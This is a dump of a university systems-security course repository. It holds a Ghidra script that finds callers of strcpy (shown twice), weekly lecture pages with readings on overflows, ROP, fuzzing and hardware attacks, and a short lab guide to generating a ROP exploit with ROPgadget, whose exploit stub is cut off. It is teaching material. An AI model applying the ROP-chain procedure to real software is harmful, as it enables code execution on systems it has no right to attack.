the current program's function names 39 | function = getFirstFunction() 40 | while function is not None: 41 | monitor.checkCanceled() 42 | addr_view=function.getBody() 43 | func_min=addr_view.getMinAddress().getOffset() 44 | func_max=addr_view.getMaxAddress().getOffset() 45 | func_name=function.getName() 46 | #print "name %s, entry: 0x%x, Min: 0x%x, Max: 0x%x "%(function.getName(),function.getEntryPoint().getOffset(),func_min, func_max) 47 | function=getFunctionAfter(function) 48 | 49 | def get_xref_information(function): 50 | #print("-----------------------------------------get_xref_information-------------------------------------------------") 51 | callers = set() #set of the callers of the function 52 | print "[*] Function: %s"%(function.getName(),) 53 | addr_view=function.getBody() 54 | # func_min=addr_view.getMinAddress().getOffset() 55 | #func_max=addr_view.getMaxAddress().getOffset() 56 | #print "name %s, entry: 0x%x, Min: 0x%x, Max: 0x%x "%(function.getName(),function.getEntryPoint().getOffset(),func_min, func_max) 57 | current_function_address = function.getEntryPoint() 58 | #location=PUTIL.FunctionSignatureFieldLocation(function.getProgram(),current_function_address) 59 | ref_to_current=ref_manager.getReferencesTo(current_function_address) 60 | while(ref_to_current.hasNext()): 61 | ref=ref_to_current.next() 62 | if ref.getReferenceType().isCall()==True: 63 | callsite_addr=ref.getFromAddress() 64 | caller_func=func_manager.getFunctionContaining(callsite_addr) 65 | if caller_func==None: 66 | continue 67 | callers.add(caller_func) 68 | caller_BB=sbm.getCodeBlocksContaining(callsite_addr, monitor) 69 | #print "\t callsite: 0x%x, caller BB len %d"%(callsite_addr.getOffset(),len(caller_BB)) 70 | #print "\t caller: %s (0x%x), BB: 0x%x, callsite: 0x%x"%(caller_func.getName(), caller_func.getEntryPoint().getOffset(), caller_BB[0].getFirstStartAddress().getOffset(),callsite_addr.getOffset()) 71 | 72 | print "Done. Found %d callers"%(len(callers),) 73 | return callers.copy() 74 | 75 | def get_call_graph(): 76 | print("===== Compute Call Graph Slice =====") 77 | # Using the get-xref-information() function, start with a source function and 78 | # get it's callers. Iterate over this list of callers and 79 | # repeat the process. This will give you a backward slice starting from 80 | # the 1st function until main() 81 | # in this example, we will look for strcpy function and then start a backward callgraph slice. 82 | func_iter=func_manager.getFunctions(True) 83 | while(func_iter.hasNext() and monitor.isCancelled() != True): 84 | function=func_iter.next() 85 | fname=function.getName() 86 | if 'strcpy' in fname: 87 | print "[*] Found strcpy.." 88 | break 89 | #lets get back all the callers of the function 90 | caller=get_xref_information(function) 91 | print "[*] callers of strcpy:" 92 | for cfun in caller: 93 | print '{0:s} - 0x{1:x}'.format(cfun.getName(),cfun.getEntryPoint().getOffset()) 94 | 95 | 96 | if __name__ == '__main__': 97 | #get_func_attribute(functionAttrPath,file_name) 98 | 99 | exe_format=currentProgram.getExecutableFormat() 100 | #if idc.GetLongPrm(idc.INF_FILETYPE) == idc.FT_ELF: 101 | if 'ELF' in exe_format: 102 | print("Linux ELF File") 103 | # config all the paths 104 | #file_path=currentProgram.getExecutablePath() 105 | #base,file_name=os.path.split(file_path) 106 | #disassembledFileName = file_name 107 | 108 | print("-------- Starting --------------------") 109 | 110 | 111 | # generate xref file, ok 112 | #get_xref_information() 113 | 114 | # generate call graph file, ok 115 | get_call_graph() 116 | 117 | 118 | # generate function information 119 | #get_function_information() 120 | 121 | print("Analysis finished") 122 | else: 123 | print("not suitable file type") 124 | -------------------------------------------------------------------------------- /docs/2021/labs/Lab 5.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab 5.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab 6.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab 6.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab1.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab1.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab2.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab2.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab3.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab3.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab4.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab4.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab5call-graph-back-slice-solution.py: -------------------------------------------------------------------------------- 1 | # For Ghidra Scripting tutorial purpose. 2 | # Copy this file into ghidra_scripts directory (the one which is configured during installation of ghidra, where ghidra can import it.) 3 | #@author Sanjay Rawat 4 | #@category _NEW_ 5 | #@keybinding 6 | #@menupath 7 | #@toolbar 8 | 9 | #GHIDRA IMPORTS ############################################################### 10 | #from ghidra.program.model.block import * 11 | #from ghidra.program.model.listing import * 12 | import ghidra.program.model.block as BL 13 | from ghidra.program.model.lang.OperandType import SCALAR, REGISTER 14 | import generic.continues as CNT 15 | import ghidra.app.util.bin.ByteProvider 16 | import ghidra.app.util.bin as UBIN 17 | import ghidra.app.util.bin.format.elf as ELF 18 | import java.io as IO 19 | import ghidra.program.util as PUTIL 20 | #################################################################################### 21 | from collections import deque 22 | import struct 23 | import shutil 24 | import os 25 | import sys 26 | import copy 27 | ########################################################################################### 28 | 29 | ######## Ghidra global definitions ############## 30 | sbm=BL.SimpleBlockModel(currentProgram, False) 31 | ref_manager=currentProgram.getReferenceManager() 32 | func_manager=currentProgram.getFunctionManager() 33 | ################################################# 34 | 35 | def get_function_information(): 36 | file_content_dict = {} 37 | function_list = [] 38 | # Get the current program's function names 39 | function = getFirstFunction() 40 | while function is not None: 41 | monitor.checkCanceled() 42 | addr_view=function.getBody() 43 | func_min=addr_view.getMinAddress().getOffset() 44 | func_max=addr_view.getMaxAddress().getOffset() 45 | func_name=function.getName() 46 | #print "name %s, entry: 0x%x, Min: 0x%x, Max: 0x%x "%(function.getName(),function.getEntryPoint().getOffset(),func_min, func_max) 47 | function=getFunctionAfter(function) 48 | 49 | def get_xref_information(function): 50 | #print("-----------------------------------------get_xref_information-------------------------------------------------") 51 | callers = set() #set of the callers of the function 52 | print "[*] Function: %s"%(function.getName(),) 53 | addr_view=function.getBody() 54 | # func_min=addr_view.getMinAddress().getOffset() 55 | #func_max=addr_view.getMaxAddress().getOffset() 56 | #print "name %s, entry: 0x%x, Min: 0x%x, Max: 0x%x "%(function.getName(),function.getEntryPoint().getOffset(),func_min, func_max) 57 | current_function_address = function.getEntryPoint() 58 | #location=PUTIL.FunctionSignatureFieldLocation(function.getProgram(),current_function_address) 59 | ref_to_current=ref_manager.getReferencesTo(current_function_address) 60 | while(ref_to_current.hasNext()): 61 | ref=ref_to_current.next() 62 | if ref.getReferenceType().isCall()==True: 63 | callsite_addr=ref.getFromAddress() 64 | caller_func=func_manager.getFunctionContaining(callsite_addr) 65 | if caller_func==None: 66 | continue 67 | callers.add(caller_func) 68 | caller_BB=sbm.getCodeBlocksContaining(callsite_addr, monitor) 69 | #print "\t callsite: 0x%x, caller BB len %d"%(callsite_addr.getOffset(),len(caller_BB)) 70 | #print "\t caller: %s (0x%x), BB: 0x%x, callsite: 0x%x"%(caller_func.getName(), caller_func.getEntryPoint().getOffset(), caller_BB[0].getFirstStartAddress().getOffset(),callsite_addr.getOffset()) 71 | 72 | print "Done. Found %d callers"%(len(callers),) 73 | return callers.copy() 74 | 75 | def get_call_graph(): 76 | print("===== Compute Call Graph Slice =====") 77 | # Using the get-xref-information() function, start with a source function and 78 | # get it's callers. Iterate over this list of callers and 79 | # repeat the process. This will give you a backward slice starting from 80 | # the 1st function until main() 81 | # in this example, we will look for strcpy function and then start a backward callgraph slice. 82 | func_iter=func_manager.getFunctions(True) 83 | while(func_iter.hasNext() and monitor.isCancelled() != True): 84 | function=func_iter.next() 85 | fname=function.getName() 86 | if 'strcpy' in fname: 87 | print "[*] Found strcpy.." 88 | break 89 | #lets get back all the callers of the function 90 | caller=get_xref_information(function) 91 | print "[*] callers of strcpy:" 92 | for cfun in caller: 93 | print '{0:s} - 0x{1:x}'.format(cfun.getName(),cfun.getEntryPoint().getOffset()) 94 | 95 | 96 | if __name__ == '__main__': 97 | #get_func_attribute(functionAttrPath,file_name) 98 | 99 | exe_format=currentProgram.getExecutableFormat() 100 | #if idc.GetLongPrm(idc.INF_FILETYPE) == idc.FT_ELF: 101 | if 'ELF' in exe_format: 102 | print("Linux ELF File") 103 | # config all the paths 104 | #file_path=currentProgram.getExecutablePath() 105 | #base,file_name=os.path.split(file_path) 106 | #disassembledFileName = file_name 107 | 108 | print("-------- Starting --------------------") 109 | 110 | 111 | # generate xref file, ok 112 | #get_xref_information() 113 | 114 | # generate call graph file, ok 115 | get_call_graph() 116 | 117 | 118 | # generate function information 119 | #get_function_information() 120 | 121 | print("Analysis finished") 122 | else: 123 | print("not suitable file type") 124 | -------------------------------------------------------------------------------- /docs/2021/labs/ropgadget-steps.md: -------------------------------------------------------------------------------- 1 | Lets say you have a binary called *vuln* and you want to create a rop based exploit using ROPGadget. This binary takes a file as input. 2 | 3 | 1. Run: 4 | 5 | ./ROPgadget.py --binary vuln --ropchain > out-rop.txt 6 | 7 | 2. Open *out-rop.txt* (it will be a huge file, normally) and will contain lot of instructions (gadgets) 8 | 3. Scroll down to the end when you see: 9 | 10 | ROP chain generation 11 | ================================================= 12 | 4. If ROPgadget finds a chain for you, you will see information below that point. Read the information for your understanding. 13 | 5. There should be a line starting with "Step 5 -- Build the ROP chain". Whatever is below that line, copy that into a separate file and name is as, for example, exploit.py. So the content of the expoit.py should be: 14 | 15 | \#!/usr/bin/env python2 16 | \# execve generated by ROPgadget 17 | from struct import pack 18 | \# Padding goes here 19 | p = '' 20 | p += pack(' --> 26 | 27 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK11.md: -------------------------------------------------------------------------------- 1 | # Week 11 (Revision Week) 2 | 3 | Check the [mock exam](mock.pdf)! 4 | 5 | ## Q&A videos 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK2.md: -------------------------------------------------------------------------------- 1 | # Week 2 (OS Security) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE2.md) 6 | 7 | | Video | Links | Reading Material | 8 | |-------------------------|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 9 | | Introduction to OS Security | [video](https://web.microsoftstream.com/video/5018c664-92f8-4715-800c-aad8b6667179) [pdf](../slides/week2/week2-introos.pdf) | Saltzer, Jerome H., and Michael D. Schroeder. "The protection of information in computer systems." Proceedings of the IEEE 63.9 (1975): 1278-1308. [pdf](../papers/saltzer-1975.pdf). [The Orange Book](http://www.iwar.org.uk/comsec/resources/standards/rainbow/5200.28-STD.html#HDR2.2.4.4) | 10 | | LSM Framework | [video](https://web.microsoftstream.com/video/a3a24785-0a56-45d0-8f99-5a0324955539) [pdf](../slides/week2/week2-lsm.pdf) | Morris, James, Stephen Smalley, and Greg Kroah-Hartman. "Linux security modules: General security support for the linux kernel." USENIX Security Symposium. 2002. [pdf](https://www.usenix.org/legacy/event/sec02/full_papers/wright/wright.pdf) | 11 | | Host-based Intrusion Detection | [video](https://web.microsoftstream.com/video/fe001649-1a72-47cb-a26d-44c51298f634) [pdf](../slides/week2/week2-ids.pdf) | Han, Xueyuan, et al. "Unicorn: Runtime provenance-based detector for advanced persistent threats." NDDS. 2020. [pdf](https://arxiv.org/pdf/2001.01525.pdf) [video](https://www.youtube.com/watch?v=B9ACkb320s0&t=1s&ab_channel=NDSSSymposium) | 12 | 13 | # Q&A Session 14 | 15 | To come! 16 | 17 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK3.md: -------------------------------------------------------------------------------- 1 | # Week 3 (Software Vulnerabilities & Attacks II) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE3.md) 6 | 7 | 8 | | Video | Links | Reading Material | 9 | |-------------------------|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 10 | | Heap Overflows | [video](https://web.microsoftstream.com/video/59e29d4c-f5e5-4b46-b7d6-a008914b653a) [pdf](../slides/week3/week3-hof.pdf) | [Malloc Internals](https://sourceware.org/glibc/wiki/MallocInternals), [Integer Overflow](../slides/week3/Int-overflow.pdf) | 11 | | Return Oriented Programming | [video](https://web.microsoftstream.com/video/c8b69780-3d99-4b2a-b6e1-f665215c3e77) [pdf](../slides/week3/week3-rop.pdf) | Shacham H., "The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)", CCS 2007 [paper](https://hovav.net/ucsd/dist/geometry.pdf) [video 10 years later](https://www.youtube.com/watch?v=nQX-zNH7F5s&ab_channel=AssociationofComputingMachinery2017) | 12 | 13 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK4.md: -------------------------------------------------------------------------------- 1 | # Week 4 (Software Defense I) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE4.md) 6 | 7 | | Video | Links | Reading Material | 8 | |-------------------------|---------------------------|----------------------------------------------------------------------------------| 9 | | Introduction to Static Analysis for Security | [video](https://web.microsoftstream.com/video/cfb25912-c8cb-4788-be7c-8b63aba39cbf?list=studio) [ppt](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week4/Intro-Dynamic%20Analysis.pptx) [pdf (Backward Analysis Slide)](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week4/Backward%20analysis.pdf) | **1.** Sanjay Rawat and Laurent Mounier. 2012. Finding Buffer Overflow Inducing Loops in Binary Executables. In Proceedings of the 2012 IEEE Sixth International Conference on Software Security and Reliability (SERE '12). **Section I, II Only** [pdf](http://www-verimag.imag.fr/PEOPLE/mounier/Papers/sere12.pdf); **2.** "Parfait – Designing a Scalable Bug Checker" Cristina Cifuentes and Bernhard Scholz. Proceedings of the 2008 workshop on Static analysis (SAW'08) 2008. [paper](https://llvm.org/pubs/2008-06-SAW-Parfait.pdf) [video](https://www.youtube.com/watch?v=a9v_KR4bdiU&ab_channel=LLVM); | 10 | | Introduction to Dynamic Analysis and Intel Pin | [video](https://web.microsoftstream.com/video/e1fd00e6-ea2a-430c-945f-fc559a98d79b?list=studio) [ppt](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week4/Intro-Dynamic%20Analysis.pptx) | **1.** Chapter 9 (upto section 9.4 only) of the book (if you have access): "Practical Binary Analysis" by Dennis Andriesse; **2.** Intel Pin User Manual (For Pintool API and examples); **3.** Ernst, Michael. (2003). Static and Dynamic Analysis: Synergy and Duality. In: WODA03. [paper](https://homes.cs.washington.edu/~mernst/pubs/staticdynamic-woda2003.pdf) | 11 | 12 | 13 | # Q&A Session 14 | 15 | Friday 2pm-3pm 16 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK5.md: -------------------------------------------------------------------------------- 1 | # Week 5 (Software Defense II) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE5.md) 6 | 7 | | Video | Links | Reading Material | 8 | |-------------------------|---------------------------|----------------------------------------------------------------------------------| 9 | | Introduction to Fuzzing | [video](https://web.microsoftstream.com/video/4c3a5e13-0edd-45d4-ba68-acf6afcade92) [pdf](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week5/Intro-fuzzzing.pdf) | **1.** Fuzzing: Hack, Art, and Science [pdf](https://patricegodefroid.github.io/public_psfiles/Fuzzing-101-CACM2020.pdf); **2.** S. Rawat et al. "VUzzer: Application-aware Evolutionary Fuzzing - VUSec, NDSS'17.[pdf](https://download.vusec.net/papers/vuzzer_ndss17.pdf) (**first 3 sections**) [video](https://www.youtube.com/watch?v=lfOGLUqpnvU&t=40s&ab_channel=NDSSSymposium) | 10 | | Concurrency Fuzzing Introduction | [video](https://web.microsoftstream.com/video/e0f5cfe4-5841-4be4-a4a8-ff0a54ed828b) [pdf](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week5/Intro-concurrency-fuzz.pdf)| RAZZER: Finding Kernel Race Bugs through Fuzzing [link](https://lifeasageek.github.io/papers/jeong-razzer.pdf)| 11 | | Introduction to Attack defense & Mitigation (CFI) | [video](https://web.microsoftstream.com/video/4041d849-f51a-4813-a46e-fee8ebdc725c?list=user&userId=f38700f5-e3e5-48bf-b934-13bee817034f) [pdf](https://github.com/cs-uob/COMSM0049/blob/master/docs/slides/week5/intro-defence-mitigation.pdf) | **1.** E. Schwartz, "The Danger of Unrandomized Code". USENIX login;. 2011 [pdf](https://www.usenix.org/system/files/login/articles/105516-Schwartz.pdf); **2.** Martín Abadi, Mihai Budiu, Úlfar Erlingsson, and Jay Ligatti. 2005. "Control-flow integrity". CCS'05 [pdf](http://www.cs.columbia.edu/~suman/secure_sw_devel/p340-abadi.pdf) (**first 3 sections**); | 12 | 13 | # Q&A Session 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK6.md: -------------------------------------------------------------------------------- 1 | # Week 6 (Hardware Security) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE6.md) 6 | 7 | | Video | Links | Reading Material | 8 | |-------------------------|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 9 | | Rootkit | [video](https://web.microsoftstream.com/video/c6fd4319-e073-45d7-8d09-f6df7187b3be) [pdf](../slides/week6/lecture1.pdf) [ppt](../slides/week6/lecture1.pptx) | N/A | 10 | | Attack Surface & Trusted Computing Base | [video](https://web.microsoftstream.com/video/c741fa50-cb8b-4313-942c-016c3cbfa0d6?list=studio) [pdf](../slides/week6/lecture2.pdf) [ppt](../slides/week6/lecture2.pptx) | N/A | 11 | | Trusted Platform Module | [video](https://web.microsoftstream.com/video/26a35bf4-a7c2-4617-87b3-245c112e7d61?list=studio) [pdf](../slides/week6/lecture3.pdf) [ppt](../slides/week6/lecture3.pptx) | Sailer et al. "Design and Implementation of a TCG-based Integrity Measurement Architecture." USENIX Security Symposium. 2004. [pdf](../papers/sailer-2004.pdf) | 12 | | Intel SGX | [video](https://web.microsoftstream.com/video/ae117c47-3088-4956-b268-eb1a555f7f67?list=studio) [pdf](../slides/week6/lecture4.pdf) [ppt](../slides/week6/lecture4.pptx) | Van Bulck, Jo, et al. "A tale of two worlds: Assessing the vulnerability of enclave shielding runtimes." ACM Conference on Computer and Communications Security. 2019. [pdf](../papers/bulck-2019.pdf) [video](https://www.youtube.com/watch?v=zjdUEKX1jlI&ab_channel=FOSDEM) | 13 | | ARM Trustzone | [video](https://web.microsoftstream.com/video/27f8a0bd-74d7-45d8-9035-6734fa12ab74?list=studio) [pdf](../slides/week6/lecture5.pdf) [ppt](../slides/week6/lecture5.pptx) | Android's [Trusty](https://source.android.com/security/trusty) | 14 | 15 | # Q&A Session 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/2021/lectures/WEEK7.md: -------------------------------------------------------------------------------- 1 | # Week 6 (Hardware Vulnerabilities) 2 | 3 | The material is subdivided in small videos. 4 | Please, watch the videos and go through the reading material in your own time. 5 | Also remember to work on the accompanying [exercises sheet](../exercises/EXERCISE7.md) 6 | 7 | | Video | Links | Reading Material | 8 | |-------------------------|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 9 | | Rowhammer | [video](https://web.microsoftstream.com/video/0a98794c-fbf4-4521-9d39-4279de1a31c3) [pdf](../slides/week7/week7-rowhammer.pdf) | 1. *Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors*, Kim et al. **(first 4 sections)** [link](https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf), 2. *Exploiting the DRAM rowhammer bug to gain kernel privileges* [video](https://www.youtube.com/watch?v=0U7511Fb4to) | 10 | | Speculative execution | [video](https://web.microsoftstream.com/video/518f7481-a013-4f47-99d4-983be6845ffe) [pdf](../slides/week7/week7-speculative-execution.pdf) | N/A | 11 | | Meltdown and Spectre | [video](https://web.microsoftstream.com/video/531092c8-b73e-4b2a-bdd4-c426d0d4f0c7) [pdf](../slides/week7/week7-meltdown.pdf) | Lipp et al. "Meltdown." arXiv preprint arXiv:1801.01207 (2018). [pdf](https://arxiv.org/pdf/1801.01207.pdf) Kocher et al. "Spectre attacks: Exploiting speculative execution." Symposium on Security and Privacy. IEEE, 2019. [pdf](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8835233&casa_token=IbSERyaX16YAAAAA:C25jmENy8pyqh4iq-6uPIm4etbMugCoHQr8dF3TuhFwd5fJTrPpTPusZPMHajEIlcaHggXWFcg) [video](https://www.youtube.com/watch?v=zOvBHxMjNls&ab_channel=IEEESymposiumonSecurityandPrivacy) Van Bulck, Jo, et al. "Foreshadow: Extracting the keys to the intel SGX kingdom with transient out-of-order execution." USENIX Security Symposium. 2018. [pdf](https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-van_bulck.pdf) [video](https://www.youtube.com/watch?v=fEV6eA9o21o&ab_channel=USENIX) [Meltdown website](https://meltdownattack.com/) | 12 | -------------------------------------------------------------------------------- /docs/2021/mock.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/mock.pdf -------------------------------------------------------------------------------- /docs/2021/papers/bulck-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/papers/bulck-2019.pdf -------------------------------------------------------------------------------- /docs/2021/papers/keshav2007.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/papers/keshav2007.pdf -------------------------------------------------------------------------------- /docs/2021/papers/roscoe-2007.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/papers/roscoe-2007.pdf -------------------------------------------------------------------------------- /docs/2021/papers/sailer-2004.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/papers/sailer-2004.pdf -------------------------------------------------------------------------------- /docs/2021/papers/saltzer-1975.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/papers/saltzer-1975.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/2-SysSec-BoFIntro.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/2-SysSec-BoFIntro.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/2-SysSec-BoFIntro.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/2-SysSec-BoFIntro.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/SysSec-refresh.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/SysSec-refresh.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/SysSec-refresh.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/SysSec-refresh.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/intro-formatString-UoB.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/intro-formatString-UoB.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/intro-formatString-UoB.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/intro-formatString-UoB.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture1.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture1.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture2.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture2.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture3.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture3.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture4.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/2020/lecture4.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/2020/lecture4.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-dirtycow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-dirtycow.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-format-strings.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-format-strings.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-intro.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-intro.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-overflow.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-raceconditions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-raceconditions.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week1/week1-refmon.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week1/week1-refmon.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture1.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture1.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture2.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture2.pptx -------------------------------------------------------------------------------- 